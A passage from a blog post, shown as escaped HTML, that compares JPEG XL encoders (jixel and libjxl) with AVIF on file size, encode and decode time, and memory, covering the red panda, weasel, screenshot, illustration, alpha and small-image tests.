&lt;li&gt;&lt;strong&gt;AVIF&#39;s 4:2:0 mode doesn&#39;t help much.&lt;/strong&gt; Same as the F1 image. ColorVideoVDP gives it a small (~4%) advantage, but SSIMULACRA2 doesn&#39;t.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At lower qualities, you can see the smoothing on the face, but it&#39;s the same for both AVIF and JPEG XL.&lt;/p&gt;
&lt;p&gt;Show me the graphs!&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#image-quality-1&quot;&gt;Image quality&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;ColorVideoVDP, JOD (10 = no visible difference)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-performance-1&quot;&gt;Encoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Encode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-memory-usage-1&quot;&gt;Encoding memory usage&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Peak encoder memory&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#decoding-performance-1&quot;&gt;Decoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Decode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;p&gt;It&#39;s interesting that, at lower qualities, jixel decodes much slower in Safari.&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---red-panda&quot;&gt;Lossy - red panda&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I threw this one in because it&#39;s the default image in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://squoosh.app/&quot;&gt;Squoosh&lt;/a&gt;, but I guess the sharp lines of the hairs make it different to the previous images. In fact, even at medium quality, the difference from the original is much less perceptible to my eyes compared to the other images.&lt;/p&gt;
&lt;p&gt;The results are much closer than the previous two:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File size: AVIF wins, narrowly.&lt;/strong&gt; At default efforts, the best JPEG XL image (jixel) is only 2–6% larger than the AVIF image for the same quality. libjxl does much worse, at 10–18% larger. At maximum efforts, jixel &#39;extraslow&#39; and AVIF s0 are roughly tied, with jixel up to 5% smaller at very high quality. However, ColorVideoVDP disagrees, and puts AVIF 5–12% ahead at maximum efforts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode time: JPEG XL (jixel) wins, according to SSIMULACRA2.&lt;/strong&gt; At default efforts, jixel is 19–35% faster than AVIF, and its files are only 2–6% larger. Comparing higher efforts, jixel &#39;slow&#39; produces files the same size or slightly smaller than AVIF s5, in the same time or less. And jixel &#39;extraslow&#39; matches or beats AVIF s0 while being 12–34% faster. But, since ColorVideoVDP gives AVIF more of a file size advantage, it isn&#39;t clear-cut. libjxl&#39;s default takes 1.3–1.9x as long as AVIF&#39;s default, and produces bigger files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode memory: JPEG XL (jixel) wins, at lower efforts.&lt;/strong&gt; At default efforts, jixel uses 37–48% less memory than AVIF, and its files are only 2–6% larger. jixel &#39;slow&#39; uses about the same memory as AVIF s5 to produce a similar file size, but &#39;extraslow&#39; uses ~9x the memory of AVIF s0. libjxl&#39;s default uses ~2x the memory of AVIF, and its higher efforts use 6–7x.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decode time: AVIF wins.&lt;/strong&gt; JPEG XL takes 2–2.4x as long to decode at medium quality. But the gap closes at very high quality, where jixel&#39;s files decode about as fast as AVIF in Firefox and Safari, and ~25% faster in Chrome.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is less worth it for AVIF on this image.&lt;/strong&gt; AVIF&#39;s s5 gets you 3–6% smaller files for 3–4x the encode time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is worth it for jixel, up to &#39;slow&#39;.&lt;/strong&gt; &#39;slow&#39; gets you 6–14% smaller files than its default &#39;fast&#39;, for 3.5–4.3x the encode time. &#39;extraslow&#39; saves another 2–9%, but takes 9–14x longer than &#39;slow&#39; and uses ~9x the memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort isn&#39;t worth it for libjxl.&lt;/strong&gt; libjxl&#39;s maximum effort gets you 1–2% smaller files than its default, but takes ~12x longer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AVIF&#39;s 4:2:0 mode doesn&#39;t help.&lt;/strong&gt; The files are the same size as 4:4:4.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Show me the graphs!&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#image-quality-2&quot;&gt;Image quality&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;ColorVideoVDP, JOD (10 = no visible difference)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-performance-2&quot;&gt;Encoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Encode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-memory-usage-2&quot;&gt;Encoding memory usage&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Peak encoder memory&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#decoding-performance-2&quot;&gt;Decoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Decode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---weasel&quot;&gt;Lossy - weasel&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I&#39;ve played with both codecs a lot, and for photos, what I&#39;ve shown so far is representative, where AVIF beats JPEG XL. However, every now and then there&#39;s an outlier, such as this image.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File size: JPEG XL wins.&lt;/strong&gt; At default efforts, the best JPEG XL image is 4–11% smaller than the AVIF image for the same quality. libjxl is the better JPEG XL encoder at medium/high quality, and jixel at very high quality. At maximum efforts, jixel &#39;extraslow&#39; is 12–27% smaller than AVIF s0. This time, ColorVideoVDP agrees.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;jixel&#39;s &#39;medium&#39; setting is a big step up on this image.&lt;/strong&gt; Its files are 11–25% smaller than AVIF&#39;s default, and 4–18% smaller than AVIF s0, the maximum effort.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode time: JPEG XL (jixel) wins.&lt;/strong&gt; At default efforts, jixel is 28–38% faster than AVIF, and produces files that are around the same size or smaller. At higher efforts, it&#39;s even more one-sided: jixel &#39;medium&#39; is 37–65% faster than AVIF s5, and produces files 9–23% smaller. libjxl&#39;s default takes 1.5–2.2x as long as AVIF&#39;s default.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode memory: JPEG XL (jixel) wins.&lt;/strong&gt; At default efforts, jixel uses 14–24% less memory than AVIF, and produces files that are around the same size or smaller. AVIF s0 uses even more memory (~1.55x its default), and still produces bigger files than jixel &#39;medium&#39;, which uses 41–55% less memory than AVIF s0. libjxl&#39;s default uses 2.4–3.6x the memory of AVIF, and the maximum efforts of both JPEG XL encoders use 10–18x.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decode time: AVIF wins, except in Chrome at higher qualities.&lt;/strong&gt; JPEG XL takes 1.3–1.9x as long to decode in Firefox and Safari. In Chrome, JPEG XL takes ~1.25x as long at medium quality, but from high quality upwards, it&#39;s 11–36% faster than AVIF.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unlike the previous images, jixel images aren&#39;t particularly slow to decode in Safari.&lt;/strong&gt; In fact, they decode slightly faster than libjxl images.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort isn&#39;t really worth it for AVIF on this image.&lt;/strong&gt; AVIF&#39;s s5 only gets you 1–3% smaller files for 3–4.5x the encode time. s0 gets you 7–8% smaller files, but takes ~50x as long.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is worth it for jixel, up to &#39;slow&#39;.&lt;/strong&gt; &#39;medium&#39; gets you 6–14% smaller files than its default &#39;fast&#39;, for 1.9–4.1x the encode time. &#39;slow&#39; gets you 9–19% smaller files than &#39;fast&#39;, for 3.9–6.5x the encode time. &#39;extraslow&#39; saves another 5–9%, but takes 8–18x longer than &#39;slow&#39; and uses ~11x the memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort isn&#39;t worth it for libjxl.&lt;/strong&gt; libjxl&#39;s maximum effort gets you 1–6% smaller files than its default, but takes 11–14x longer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AVIF&#39;s 4:2:0 mode doesn&#39;t help.&lt;/strong&gt; The files are the same size as 4:4:4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;All three encoders produce lower SSIMULACRA2 scores for this image.&lt;/strong&gt; As in, with the same encoder quality value, they score lower. It seems like the encoders are pretty happy smoothing out some of the background noise, which seems fine.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Show me the graphs!&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#image-quality-3&quot;&gt;Image quality&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;ColorVideoVDP, JOD (10 = no visible difference)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-performance-3&quot;&gt;Encoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Encode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-memory-usage-3&quot;&gt;Encoding memory usage&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Peak encoder memory&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#decoding-performance-3&quot;&gt;Decoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Decode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---screenshot&quot;&gt;Lossy - screenshot&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ok, let&#39;s try something other than a photo:&lt;/p&gt;
&lt;p&gt;The results of the benchmark:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File size: AVIF wins, by a lot.&lt;/strong&gt; At default efforts, the best JPEG XL image is 73–89% larger than the AVIF image at medium/high quality (jixel), and 29–44% larger at very high quality (libjxl). At maximum efforts, the best JPEG XL image (jixel &#39;extraslow&#39; with patches) is 23–73% larger than AVIF (s0).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;libjxl can&#39;t produce anything between SSIMULACRA2 ~45 and ~78&lt;/strong&gt; at its default effort (~45 and ~75 at higher efforts). jixel doesn&#39;t have this problem.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;jixel&#39;s patches feature helps a lot with this image&lt;/strong&gt;, but it&#39;s off by default. With patches, jixel&#39;s files are 10–29% smaller at its higher efforts, from SSIMULACRA2 ~65 upwards. Patches have no effect at jixel&#39;s default &#39;fast&#39; setting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode time: AVIF wins.&lt;/strong&gt; At default efforts, jixel is ~50% faster than AVIF, but its files are 70–98% larger. libjxl&#39;s default takes 1.7–1.8x as long as AVIF&#39;s default, and still produces much bigger files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode memory: AVIF wins.&lt;/strong&gt; At default efforts, jixel uses ~40% less memory than AVIF, but again, its files are much larger. libjxl&#39;s default uses 1.2–2.2x the memory of AVIF. jixel &#39;extraslow&#39; with patches gets closest to AVIF&#39;s file sizes, but uses ~7.5x the memory of AVIF&#39;s default.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decode time: AVIF wins, by a lot.&lt;/strong&gt; Taking the faster of the two JPEG XL encoders&#39; output, JPEG XL takes 2–3.8x as long to decode, depending on browser and quality.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is more worth it for AVIF on this image.&lt;/strong&gt; AVIF&#39;s s5 gets you 6–13% smaller files for 2.5–3x the encode time, and s0 gets you 16–23% smaller files for 30–45x the encode time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is worth it for jixel, as long as you enable patches.&lt;/strong&gt; &#39;medium&#39; with patches gets you 11–44% smaller files than its default &#39;fast&#39;, for 3–4x the encode time. &#39;slow&#39; with patches saves another 7–16% for ~1.7x the time of &#39;medium&#39;. &#39;extraslow&#39; with patches saves another few percent, but takes ~5x longer than &#39;slow&#39; and uses ~4.5x the memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is harmful for libjxl.&lt;/strong&gt; At very high quality, libjxl&#39;s maximum effort produces files 33–40% &lt;em&gt;larger&lt;/em&gt; than its default effort, and takes ~7x longer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AVIF&#39;s 4:2:0 mode helps at higher qualities.&lt;/strong&gt; At SSIMULACRA2 70 and above, it produces files 7–18% smaller than 4:4:4. At lower qualities, it makes no difference.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;All three encoders produce higher SSIMULACRA2 scores for this image.&lt;/strong&gt; Opposite to the weasel image. But, this seems correct. At SSIMULACRA2 70 the artifacts are pretty noticeable around the Firefox logo (to me, anyway), so I&#39;d go with 80, which is where the codecs lean anyway.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some developers, especially those who&#39;ve been around as long as I have, seem to think things like screenshots need to be delivered in a lossless format. But I think this is because they&#39;re used to formats like JPEG and WebP (and seemingly JPEG XL) which handle this kind of image badly, whereas lossy AVIF handles them really well.&lt;/p&gt;
&lt;p&gt;Show me the graphs!&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#image-quality-4&quot;&gt;Image quality&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;p&gt;I&#39;m not including the ColorVideoVDP chart because the metric doesn&#39;t support alpha channels.&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-performance-4&quot;&gt;Encoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Encode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-memory-usage-4&quot;&gt;Encoding memory usage&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Peak encoder memory&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#decoding-performance-4&quot;&gt;Decoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Decode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;p&gt;The high JPEG XL decoding times here are likely a side effect of it producing much larger files for a given quality.&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---illustration&quot;&gt;Lossy - illustration&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In many cases, for largely flat-colour images, you&#39;d use SVG. But sometimes that isn&#39;t possible (it&#39;s a screenshot), or undesirable, such as this case. This image, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://unsplash.com/illustrations/hands-feeding-orange-cat-a-treat-on-bed-9tXfoalzAqY&quot;&gt;also from Unsplash&lt;/a&gt;, is still 1.1 MB as a compressed and minified SVG. This is due to the complexity of the shaded areas. As a result, a raster format wins on file size and decode/draw time.&lt;/p&gt;
&lt;p&gt;At quality 50 in the demo above, the jixel has some pretty severe colour blocks, e.g. on the cat&#39;s face. Again, it makes me question the metric a bit.&lt;/p&gt;
&lt;p&gt;The results of the benchmark:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File size: AVIF wins, by a lot.&lt;/strong&gt; At default efforts, the best JPEG XL image (jixel) is 32–65% larger than the AVIF image up to SSIMULACRA2 80, and ~90% larger beyond that. At maximum efforts, the best JPEG XL image (jixel &#39;extraslow&#39;) is 22–55% larger than AVIF (s0) up to SSIMULACRA2 80, and more beyond that. ColorVideoVDP agrees, and puts the gap at 27–58%.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;libjxl performs particularly badly with this image.&lt;/strong&gt; At default efforts, it&#39;s 71–106% larger than AVIF.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lossy AVIF can&#39;t reach SSIMULACRA2 90 with this image.&lt;/strong&gt; Even at its maximum quality setting, it tops out at ~87, so the 90 example above isn&#39;t a totally fair comparison. JPEG XL can reach 90, but the result is 8–50% larger than JPEG XL&#39;s lossless version, so you may as well use lossless.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode time: AVIF wins.&lt;/strong&gt; At default efforts, jixel is 35–44% faster than AVIF, but its files are 32–65% larger, which is a bad trade. jixel needs its &#39;slow&#39; setting to get within 7–27% of AVIF&#39;s default file size, which takes 2.4–2.6x as long as AVIF. libjxl&#39;s default takes 1.3–2.3x as long as AVIF&#39;s default, and produces much bigger files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode memory: AVIF wins.&lt;/strong&gt; At default efforts, jixel uses ~37% less memory than AVIF, but again, its files are much larger. jixel &#39;slow&#39; uses about the same memory as AVIF, and &#39;extraslow&#39; uses ~12x. libjxl&#39;s default uses 1.5–3x the memory of AVIF.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decode time: AVIF wins, by a lot.&lt;/strong&gt; JPEG XL takes 2–4.6x as long to decode at medium/high quality, narrowing to 1.6–2.1x at very high quality.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is more worth it for AVIF on this image.&lt;/strong&gt; AVIF&#39;s s5 gets you 5–8% smaller files for ~2.7x the encode time, and s0 gets you 14–21% smaller files for 35–48x the encode time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is worth it for jixel, up to &#39;slow&#39;.&lt;/strong&gt; &#39;medium&#39; only gets you 4–13% smaller files than its default &#39;fast&#39;, but &#39;slow&#39; gets you 19–24% smaller files (up to 36% at very high quality), for ~4x the encode time. &#39;extraslow&#39; saves another 2–3%, but takes 8–9x longer than &#39;slow&#39; and uses ~11x the memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;jixel&#39;s patches feature doesn&#39;t help with this image.&lt;/strong&gt; Unlike the screenshot, the file sizes are identical with and without it, but it does increase encode time and memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort isn&#39;t worth it for libjxl.&lt;/strong&gt; libjxl&#39;s maximum effort gets you 3–9% smaller files than its default, but takes 10–13x longer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AVIF&#39;s 4:2:0 mode doesn&#39;t help.&lt;/strong&gt; SSIMULACRA2 rates it slightly worse than 4:4:4, and ColorVideoVDP rates it slightly better (~3–4%).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Show me the graphs!&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#image-quality-5&quot;&gt;Image quality&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;ColorVideoVDP, JOD (10 = no visible difference)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-performance-5&quot;&gt;Encoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Encode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-memory-usage-5&quot;&gt;Encoding memory usage&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Peak encoder memory&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#decoding-performance-5&quot;&gt;Decoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Decode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---alpha&quot;&gt;Lossy - alpha&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;So far, all the images have been mostly opaque. What about an image with transparency?&lt;/p&gt;
&lt;p&gt;There are a few things that make this one different:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;jixel always encodes the alpha channel losslessly.&lt;/strong&gt; It doesn&#39;t have a setting for alpha quality. This puts jixel at a big disadvantage with this image. AVIF by default compresses the alpha channel lossily, tracking the main quality setting. libjxl compresses the alpha channel losslessly by default, so watch out for that. For this benchmark, I set libjxl&#39;s alpha quality to the same as the main quality.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSIMULACRA2 scores fully-transparent pixels as perfect&lt;/strong&gt;, so with lots of transparency, the scores will be higher than they would be for an opaque image.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The results of the benchmark:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File size: AVIF wins, by a lot.&lt;/strong&gt; At default efforts, the best JPEG XL image (libjxl) is 31–44% larger than the AVIF image for the same quality. At maximum efforts, it&#39;s 61–70% larger. Due to its lossless alpha, jixel is 1.9–3.1x the size of AVIF at default efforts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode time: AVIF wins.&lt;/strong&gt; libjxl&#39;s default takes 1.2–1.35x as long as AVIF&#39;s default, and produces much bigger files. jixel&#39;s default is ~2x faster than AVIF, but its files are around 2–3x the size.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode memory: AVIF wins.&lt;/strong&gt; libjxl&#39;s default uses 2.4–2.7x the memory of AVIF&#39;s default, although in absolute terms, that&#39;s ~120 MB vs ~46 MB. jixel&#39;s default uses about the same memory as AVIF, but again, its files are much bigger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decode time: AVIF wins.&lt;/strong&gt; libjxl&#39;s output takes 2–3x as long to decode at medium quality, narrowing to 1.4–1.8x at very high quality. jixel&#39;s output decodes faster than libjxl&#39;s, and at very high quality it&#39;s around the same speed as AVIF. Although, it&#39;s slow in Safari at lower qualities, taking ~2.4x as long as AVIF.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is worth it for AVIF.&lt;/strong&gt; AVIF&#39;s s5 gets you 4–7% smaller files for 2.3–2.9x the encode time, and s0 gets you 10–15% smaller files for 24–29x the encode time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort barely helps jixel on this image.&lt;/strong&gt; &#39;extraslow&#39; only gets you 5–8% smaller files than its default &#39;fast&#39;, for 21–26x the encode time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is harmful for libjxl.&lt;/strong&gt; libjxl&#39;s maximum effort produces files up to 8% &lt;em&gt;larger&lt;/em&gt; than its default effort, and takes ~6.5x longer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AVIF&#39;s 4:2:0 mode is harmful.&lt;/strong&gt; It produces files 4–27% larger than 4:4:4, and can&#39;t get beyond SSIMULACRA2 ~79.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Show me the graphs!&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#image-quality-6&quot;&gt;Image quality&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-performance-6&quot;&gt;Encoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Encode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-memory-usage-6&quot;&gt;Encoding memory usage&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Peak encoder memory&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#decoding-performance-6&quot;&gt;Decoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Decode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---small&quot;&gt;Lossy - small&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The images so far have been a similar resolution. Are the results different with smaller images?&lt;/p&gt;
&lt;p&gt;Not really. The results are pretty similar to the full-size F1 image:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File size: AVIF wins&lt;/strong&gt;, by about the same margin. At default efforts, the best JPEG XL image is 13–18% larger. At maximum efforts, the gap is slightly bigger than the full-size image, at 12–20%.&lt;/li&gt;
